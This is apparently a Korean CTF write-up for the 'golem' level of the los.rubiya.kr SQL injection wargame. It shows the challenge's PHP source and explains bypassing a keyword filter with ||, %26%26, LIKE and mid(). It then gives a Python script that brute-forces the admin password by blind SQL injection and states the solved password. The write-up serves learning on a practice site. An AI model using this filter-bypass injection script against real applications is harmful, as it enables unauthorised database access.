[los.rubiya.kr] golem - Write up
2021. 8. 22. 18:33ㆍ카테고리 없음
문제
분석
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
비밀번호를 알아내야 할것 같습니다.
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
여기서 or, and, substr, = 을 필터링 합니다.
필터링 우회방법을 생각해 보면..
or은 ||
and는 &&
=는 link
substr는 mid
로 우회를 한다면 가능할 것 같습니다.
[SQL Injection] 필터링 우회 방법 모음 :: 끄적끄적 (tistory.com)
저번, orc 코드를 응용하여..
import requests
pw = ""
cookie = {"PHPSESSID":"자신의 쿠기 값"}
for i in range(1,9):
for j in range(32,128):
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=123'|| id like 'admin' %26%26 ascii(mid(pw,"+str(i)+",1)) like "+str(j)+"-- -"
res = requests.get(url,cookies=cookie)
#print(res.text)
if "Hello admin" in res.text:
pw += chr(j)
print(pw)
break
id까지 admin으로 해주고..
toooooo 기다려 보면.
비밀번호가 77d6290b라는 걸 알았습니다.
?pw=77d6290b 입력
정답
?pw=77d6290b 입력